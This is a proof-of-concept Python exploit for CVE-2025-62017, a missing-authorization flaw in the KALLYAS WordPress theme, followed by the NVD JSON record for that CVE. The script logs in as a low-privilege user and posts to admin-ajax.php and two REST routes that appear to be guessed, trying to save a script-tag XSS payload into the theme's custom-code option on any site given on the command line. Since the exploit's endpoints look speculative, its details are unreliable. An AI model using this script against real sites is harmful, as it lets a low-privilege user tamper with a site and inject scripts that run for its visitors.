CVE-2025-62017

import requests import sys # CVE-2025-62017 PoC - Missing Authorization in KALLYAS Theme # Target: WordPress site with KALLYAS theme <= 4.22.0 def exploit(target_url, username, password): """ Exploit missing authorization vulnerability in KALLYAS theme This PoC demonstrates how a low-privilege user can access admin functions """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber/contributor) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as low-privilege user") # Step 2: Exploit missing authorization to access theme options # This endpoint should require admin privileges but doesn't exploit_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/kallyas/v1/options', '/wp-json/kallyas/v1/settings' ] for endpoint in exploit_endpoints: exploit_url = f"{target_url}{endpoint}" exploit_data = { 'action': 'kallyas_save_options', 'option_name': 'kallyas_custom_code', 'option_value': '<script>alert("XSS")</script>' } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text.lower(): print(f"[+] Exploited: {exploit_url}") print("[+] Successfully accessed protected functionality without admin privileges") return True print("[-] Exploitation failed - target may be patched or not vulnerable") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

{"cve": {"id": "CVE-2025-62017", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:08.567", "lastModified": "2026-04-27T17:16:29.847", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in hogash KALLYAS kallyas.This issue affects KALLYAS: from n/a through <= 4.22.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kallyas/vulnerability/wordpress-kallyas-theme-4-22-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}